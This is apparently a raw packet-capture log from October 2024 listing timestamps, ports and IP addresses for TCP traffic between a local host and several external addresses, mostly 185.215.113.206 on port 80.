Oct 30, 2024 18:06:45.845345974 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845362902 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845371962 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845374107 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845386982 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845391035 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845398903 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845411062 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845416069 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845426083 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845443010 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845448017 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845457077 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845463991 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845468998 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845478058 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845482111 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845494986 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845504045 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845510960 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845521927 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845525026 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845534086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845534086 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845546961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845558882 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845560074 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845572948 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845587969 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845590115 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845599890 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845607996 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845619917 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845629930 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845637083 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845648050 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845659018 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845659971 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845669031 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845673084 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845680952 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845696926 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845698118 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845716953 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845726013 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845737934 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845741034 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845760107 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845762968 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845772028 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845782995 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845783949 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845792055 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845796108 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845809937 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845815897 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845823050 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845834017 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845844030 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845844030 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845860004 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845864058 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845873117 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845885992 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845890045 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845896959 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845900059 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845917940 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845920086 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845935106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845944881 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845944881 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845957994 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845968962 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845971107 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.845979929 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845990896 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.845994949 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846003056 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846009970 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846016884 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846029997 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846035957 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846044064 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846060991 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846070051 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846071959 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846081972 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846086979 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846096039 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846100092 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846112013 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846122026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846126080 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846133947 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846152067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846152067 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846164942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846174002 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846178055 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846184015 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846190929 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846209049 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846210003 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846221924 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846232891 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846235037 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846244097 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846256018 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846267939 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846268892 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846280098 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846292019 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846292973 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846304893 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846306086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846318007 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846328020 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846330881 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846339941 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846354961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846359015 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846368074 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846379042 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846388102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846399069 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846399069 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846410990 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846425056 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846426010 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846437931 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846450090 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846451998 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846461058 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846462965 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846472979 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846483946 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846496105 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846506119 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846508980 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846518993 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846529007 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846538067 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846540928 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846551895 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846558094 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846565962 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846585035 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846609116 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846735001 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846745968 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846761942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846771955 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846775055 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846776962 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846781969 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846784115 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846812963 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846831083 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.846919060 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846947908 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846957922 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846968889 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.846978903 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.847022057 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.847053051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847100019 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.847270966 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847284079 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847294092 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847327948 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.847341061 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.847400904 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847412109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847440958 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.847455978 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.847764015 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847775936 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847786903 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847798109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847805023 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.847810030 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847821951 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847831011 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.847860098 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.847901106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847913980 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847923994 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847935915 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847948074 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847948074 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.847961903 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847964048 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.847973108 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847984076 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.847990036 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.847995996 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848016024 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848025084 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848037004 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848045111 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848062992 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848088980 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848226070 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848237038 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848248005 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848259926 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848265886 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848273039 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848287106 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848309994 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848392010 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848403931 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848413944 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848424911 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848434925 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848438978 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848448038 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848459005 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848459005 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848469973 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848472118 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848484993 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848499060 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848522902 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848567963 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848575115 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848586082 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848597050 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848608017 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848609924 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848630905 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848655939 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848737001 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848803043 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848829031 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848841906 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848853111 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848865032 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848875999 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848879099 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848893881 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848896980 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848903894 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848948956 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.848968029 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848979950 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.848992109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849014044 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849040031 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849155903 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849168062 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849178076 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849189043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849200964 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849203110 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849215031 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849225998 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849226952 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849239111 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849250078 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849268913 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849280119 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849312067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849324942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849338055 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849349976 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849353075 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849363089 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849366903 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849379063 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849386930 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849417925 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849441051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849455118 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849486113 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849626064 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849637032 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849647999 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849662066 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849672079 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849673033 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849684954 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849688053 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849697113 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849714994 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849734068 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849762917 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849775076 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849786043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849797964 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849807978 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849808931 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849817038 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849848032 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.849970102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849982023 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.849992990 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.850003958 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.850013971 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.850017071 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.850027084 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.850038052 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.850039005 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.850045919 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.850076914 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.850107908 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.850119114 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.850156069 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.875452995 CET	443	49885	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.875556946 CET	443	49885	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.875623941 CET	49885	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.896886110 CET	49885	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.896914959 CET	443	49885	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.896930933 CET	49885	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.896938086 CET	443	49885	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.918698072 CET	443	49886	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.918798923 CET	443	49886	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.918845892 CET	49886	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.921952009 CET	443	49889	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:45.922146082 CET	443	49889	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:45.922200918 CET	49889	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:45.951221943 CET	49895	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.951348066 CET	443	49895	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.951437950 CET	49895	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.951673985 CET	49895	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.951709986 CET	443	49895	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.956403017 CET	49889	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:45.956435919 CET	443	49889	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:45.956566095 CET	49889	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:45.956593990 CET	49889	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:45.957086086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957101107 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957115889 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957158089 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957170010 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957184076 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957196951 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957197905 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957210064 CET	80	49812	185.215.113.206	192.168.2.5
